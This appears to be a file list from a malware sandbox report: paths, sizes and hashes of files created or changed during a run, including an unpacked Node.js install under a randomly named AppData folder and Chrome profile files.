MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\index.js
Size 16KB
SHA256 7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5
MD5 bc0c0eeede037aa152345ab1f9774e92
SHA1 56e0f71900f0ef8294e46757ec14c0c11ed31d4e
SHA512 5f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3
SSDEEP 384:PjFrIA8zJ08TEcGpIuqbI0WXsJY+cHK+34x2WkFUasBq7BmDWC:PjFrIKf8JKjV0DJ
TLSH
T196722F552B9E61229373B77ADD47900FE722141B393F5014B8AC46D02FB99B48B38EF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\tar\node_modules\fs-minipass\node_modules\minipass\package.json
Size 1KB
SHA256 c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5
MD5 d116a360376e31950428ed26eae9ffd4
SHA1 192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b
SHA512 5221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a
TLSH
T1AB217927DD589D7715B52760A8781603F2635B2F20348C0B75F6012E9FB392B0099BAC
MD5 SHA1 SHA512 TLSH

Submit Download

RGI_Emoji.js

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\RGI_Emoji.js
Size 12KB
SHA256 de04908dc7f8e992e649e317d2b72108d0c20f622647e33170237b6d3afd2372
MD5 dc07d6e3b5be4a8fe3c570b22c3a4671
SHA1 6a6195959560f0cd732bcd7cd119b87132a9b670
SHA512 ad3c9eade92a6e1913dacf6f19866f58618030e3f862ed58cf2a225f770a8894ec8af3e9ed38e317316be638df2502ceef0b53c44539d12eb76cc4be22675903
SSDEEP 96:49tOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++Qd6:4bzTgMU4GgawCZleP
TLSH
T171428CB085217E6274A2001B5D541B1FF0ACA54BE962EF37979CF19EB345231CAD36F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RGI_Emoji.js

Path C:\Users\Admin\AppData\Local\3H2bPuqDuapW\node-v18.20.5-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\RGI_Emoji.js
Size 13KB
SHA256 74839f673bb72c8ae55ce2c844a832e75c7b14b244c9181e446b6b00485b458e
MD5 bb5cc58d6a908fba4c33adc7437e858b
SHA1 a87a9b7bcbb25d5b8328aebf05979c2ea45bb02c
SHA512 fe69afde16b9269e48529046e7c546a98286a3c4a0bba463a30c63905ac3c6e71ba4ad426a554bb0f45bd7777f08d0a7434912dd40b9aab47eb4dc957b84d3e0
SSDEEP 192:4uyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kI9:4ng4LYVNn8b8K+eLWD7GxuM
TLSH
T1925292BC018846973D2DE0D4AF64EAD6299D4B4A240CD3365F8BFC3726CA4F4ED994E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 487209a359594b1a139b611d47b994ec77b908c0dd59b6132ee55503ef761ff3
MD5 a759125fc0c2b1441a96a64ca90b8275
SHA1 d25780cde2407c7a107b9c5b42a65894782d7f1e
SHA512 533c8e32539cca61542ef63a4a1da062e863e18437807b6a4f31ecae950bb94325cf2552fea473548f62a9b5c9e45fd59fd189a9752e48c08ce7e35026a34bbd
TLSH
T130E022AAC821AC370CFD1F3C61914B85E76013172B809A0F3B3C920C8FB1A3A568981C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 1KB
SHA256 52954926b63bd1812095c607b4aa7a840f50f063f67c8cf48ee5ede2a40ba289
MD5 8ef8508a1bd22635101c94f2b8ad64b6
SHA1 fd92902ebba02a61366429ca352eaed8424d1329
SHA512 fe8abf5efa1866865ccfa2809227e6048f49ee1c129466e2836cde736641dbe0f0923e1a6e9191951d2d424ca678f9911059934b26fdbc3ef77381aa1a491b4c
TLSH
T16B31FF59DEAF34E7DF78EAF4CCF9094443243848C550CA836066857376635A714E28D5
MD5 SHA1 SHA512 TLSH

Submit Download

000001.dbtmp

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\File System\Origins\000001.dbtmp
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb\000003.log
Size 843KB
SHA256 77c1a400278669af433490cb847850e6badc4816fbbb26d7add6485189e7375b
MD5 89ba03d4621e4cccc1e9a052aaa3c370
SHA1 0ab09071b26f18f1ad2238d112305648c65e730f
SHA512 090fbcc543e8c9ab42948563188e6c637a4857eeee797cc48a349acc67bfe60fb2e0c6a8ba985dbb95ca66acba08892fef23359714f12063a3c2d80ca7c88da8
SSDEEP 3072:aVl9Tq8O/O5gwIRtkMnNqogDJgWJi/LnM+PTu3shQyzPCqx4Uxd3Sn0C/JY7uwO0:tO1Hj+ku3V
TLSH
T1C605CDE1B5E86465F3B73A35693C1B98593FBCCD9C40A11F26E8EA4C0475F409AE07A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\https_www.dropbox.com_0.indexeddb.leveldb\LOG
Size 351B
SHA256 e51bd85dd4c52ee7e5d6894176d7f9869c97fe59bb5e1f865d90ceb40da9d7f1
MD5 0c1ccda9f1c1696f24f68ece0bb370d0
SHA1 2762ff41878518eefe4ba908c4d36b868a99b98d
SHA512 c9b6bcc8290c26246d37b2e85b423029a7550d009f83b2882dd4acce2b01d4e806782dbbe1d69efd517d00f5975dd20db1f719dd0d5bf5bae3c95b63233f4182
TLSH
T133E0C6AC81CAE26F3044C0AB28347B0FEAF3290CD7CE6D4A0F41E84830C900C84A8320
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 031a61be37979222628e8e1a813b464544e4b66b07902b633a72ec38a8ae1144
MD5 a0c3082294f7209d65373351ee40be36
SHA1 14e56e532df16dd519b8a89da69d1468349e280d
SHA512 09809c876806f25039679c1ccb3af6061e55de057e41eb0b3ab1ac1786135db575ada45723c9b6b51a66c9c642ab40260745086554d2af7fc5df4253d27c0ec3
SSDEEP 96:DuQhugubuGuj/aIaEdPRzuRuJueu6u4uku/uvublu12uougYFuO:D5hnKRU/aIaEdPRzmQBjjhM4w1lKFD
TLSH
T1F8B197F7D3E4862EE951A6F5AA146E1FCD691A24132C3C26C9D4AF0F93F2432E14174E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 dc7c95ce323634dc91e4f1aaf9d3a82e815322eebe6c0197889c495fc3002f9f
MD5 f32bfcc5ab272046065081c929c95405
SHA1 88eeb0ea05973b02f1101d29e05d4c4b1a190089
SHA512 e7cbb590bebefe8885ab936f91f77a6299e907bd031562c49d127f61c452a7fdf1f136c24712326aa66b2d14bfb160b0c6cab6498fff86366b766b4ab65ba738
SSDEEP 192:sRqzvPtINaFv7HpAPRp2z+9DHsb+WNn5UG+WeHxjkwR0dVyIsnAUge:sRqL+a1jUXZ5wyCeRjx+e
TLSH
T14242D72EA9107A3B9CCAC629FE657B53E7F5102221D11E84F6FC8A2C19D75DC222701B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Size 12KB
SHA256 242d56d9fc9759ec9a58521b93bdb2a8bfd8833d66bec7c2cb2d531ffc9fd8bc
MD5 99ee87c3010d04fbdbf3e2a5962a15da
SHA1 6531d96ac80d48d6fd1d4a93ec1a8defa0555687
SHA512 6fcdbab914c3fc98488961350b001746076f5f72fdd79952666188375821e1b81890b95e69f0c90c6320b6f05c3cc43f0025e3a8e83d0df686ef6ad2498cfdda
SSDEEP 192:sRq3vPtINaEv7HpAPRp2z+9DHsb+WNn5UGh12yxjkwR0dVyIsnAUge:sRqf+agjUXZ5wyu2Sjx+e
TLSH
T13942D72EA910793B9CCAC629FE257B53E7F5103221D11E84F6FC8A6C19D79DC222741B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 17KB
SHA256 3fceec2368f93ddd3be7eaa1465a3011c325ff47801261d2e3bc86a459460fa8
MD5 a9125c26694a66613be5174b13bd716c
SHA1 d0abfcc6f0e0b8d2779b7f996521b8ebdf6cd039
SHA512 5811381d70a31e2f21b2051a0c5593e8505bc21c15a15c6e78f2f2a296602ffd19c6ce03bfc0a32c575a8048dba5ba42472a9bf5d2aadd73dfc95e4c5fe7a5ed
SSDEEP 384:97jJY7KxkXqKf/pUZNCgVLH2Hfgsl6y7pLuLcSjvKXODJ4+ErU3rQHGjLsHHG:93JY7KxkXqKf/pUZNCgVLH2HfgsYy7p8
TLSH
T13E720967AC4C9E370F94C5CCD816BF4FADB5024B65E9C86483FA582903D5ADB110A2FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 6c6360d394b590bcfe46780cb4954babe60735a27aaae3296fa1ccacd67cff52
MD5 bc3930aa176e9cbc9b0f0de550e116d6
SHA1 182fb4d167cc20bcd75bc22d3022714e93b35055
SHA512 69338b8e7b738c1f70efc5a34a2abf7b83c25e319a2f375b20e986b5dd218bb8dc438967b8cf649231189651709624fa45627800f8c39245a5541551664b1a13
TLSH
T1F2B01250C0019501C41246F4128FA48871149F10970B170543E0A9239829150D154051
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe585f51.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe585f51.TMP
Size 96B
SHA256 8f5820395d9702d35b0eb89cb5c18a8909cb2f5fd70aadd5dde76acfd80fd3eb
MD5 dde38bd0080b15f41984bf2149acc820
SHA1 011dbbcf74bf0696536b1dbff753f80b2ea364c5
SHA512 9d9acae1c2808cfd01d13150d9eed21254dcc30e95633ad9bfc8500d72e45f737d2613b2d27084f61292949ac8bcfc1c6f27d1b211a1af95c8f0376704399ce1
TLSH
T1F2B02280C2023223E00A03F0A8C888C830A0EF20CBC3220282E00B2ACC283F00020830
MD5 SHA1 SHA512 TLSH

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\WebStorage\4\IndexedDB\indexeddb.leveldb\MANIFEST-000001
Size 23B
SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
MD5 3fd11ff447c1ee23538dc4d9724427a3
SHA1 1335e6f71cc4e3cf7025233523b4760f8893e9c9
SHA512 10a3bd3813014eb6f8c2993182e1fa382d745372f8921519e1d25f70d76f08640e84cb8d0b554ccd329a6b4e6de6872328650fefa91f98c3c0cfc204899ee824
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 117KB
SHA256 3f4623bdf788efc7b76252c58a2457555cc1946654cb5158ff4347d5d7a88069
MD5 1abf038eee858c842999c37410893865
SHA1 211821ca74cfbd15c55a4f65806431f2c9ecdcf5
SHA512 00c221f9337d76186bfcf8bfcdce7e0ba4487c2a0715e176591a7e83c917714c5cf313655a3f10ef58a2fc4f99b552cd307223c0efce0da5059e57fd22773146
SSDEEP 3072:WNGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM+:WEm7Rkm1tYpBeh2BAo+
TLSH
T148C302375D75A97B5CB9BB0EB04E0A1F1EF14DA7D920DE92C8D86E0423E66CC0A45A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 12b7120bfe54861f42f122dc85494fa6205273047df279ef1f69cbf5c8c63071
MD5 4a5e4210480155b7dbd45d9de7ea6c92
SHA1 be94385adcf917332847d82db624372b4499a494
SHA512 1b914fe04c2ed9a46835631c9dd80103b0bd5000615274fa7962c3d69f334fc4ca312824136c93bfcf56b8f21e0c68f07ffe2bfe334147580eac2bda0efbbc5e
SSDEEP 3072:eGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM+:5m7Rkm1tYpBeh2BAo+
TLSH
T1E7C312275D75B87658B9BB0EB04E0B1F1EF14DA6C930DE92C8D86B0423FA7CC1A45A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 da471f43f3b3e11d20844145621f29eece9f5a82a552a693373b19f1fb65b064
MD5 368aa1403ab323d4721b71b35b81e051
SHA1 6a84e6d9dda4d2fbe97ca479676c35300d771031
SHA512 ce20b2a863e3b374b0d2f3f4de0a6631b775a26e12b7c88c95c49fec420d460789e1c8c14b88e6538257fc21cf24b2d4652cfed107939b23266981d21f14761e
SSDEEP 3072:SNGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM+:SEm7Rkm1tYpBeh2BAo+
TLSH
T1F3C3023B5D75A9775DB9BB0EB04E0A1F1EF14DA7D920DE92C8D86E0423E66CC0A05A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 115KB
SHA256 67a6f37c5b5fae5fa334082184655a97785514b7266b44da681b97d08f45d856
MD5 60096c4ca5acc9e7e137ece74ac45224
SHA1 b36e86f3485392d7b3bcb361e912aaf0d3a2a3b2
SHA512 eb095987da7e6086286d3009f6cd1bafc2b140b294a2f65cd9e0432cb52d3d27c5c9bb8599cbc14834f8ded382de59e2ccddd8842f68abe4f8ad99298b890b25
SSDEEP 3072:GGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM+:xm7Rkm1tYpBeh2BAo+
TLSH
T100C3122B5D71A93658B9A74EB08D0B1F1EF14DA6D930DE82C8D86B0477F67CC0A05A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 116KB
SHA256 dc1c1b4b61527f9dc0bc751e6d392034f724fba20a089753b397828a4b126b95
MD5 3fcbee40f93414932c74444c27625863
SHA1 64c8687402348bc9a1cc48d2f381e8055987fa42
SHA512 21e9a8d1c707f281f5e1e2c1a8da6202875351ee9f9338074d6e23c5bad1baed22cab7168f5f88406339323ef475bb4758daff0ea601605085bdc8ed3ff5bec2
SSDEEP 3072:pGm7D5Lk17ox1tIpud63U8BehbCBi9fTrM+:Im7Rkm1tYpBeh2BAo+
TLSH
T124C312275D75B87659B9BB0EB04E0B1F1EF14DA6C930DE92C8D86B0423F97CC1A45A34
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
MD5 627073ee3ca9676911bee35548eff2b8
SHA1 4c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA512 3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
TLSH
T19651CE323375B1D889163F47192C5AC463BF8355FA94AF4CB698620ED92741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

ebaebc

Path C:\Users\Admin\AppData\Local\Microsoft\Services\6aa3\ebaebc
Size 60B
SHA256 d48fbf7f3a5b681ec0236277a15eb0889eb60856ae3719c49318f31e86d97e53
MD5 5f3bf84b0a4e4a82a56ce62386e78c1a
SHA1 bf0257451cd0e55b31bb868f70d7810826e00467
SHA512 f91274263e62f1894efb7a1864811693d62ff6bf5e1b306c8f172580ca4ae91d70605854e6bd18b44660621cdb656136fd90e5f184b573533aa2a8cd7379cb7e
TLSH
T18CA002D56116164511456B3B4C961D14574B75703C2698EA5E5C624EF58118381C0471
MD5 SHA1 SHA512 TLSH

Submit Download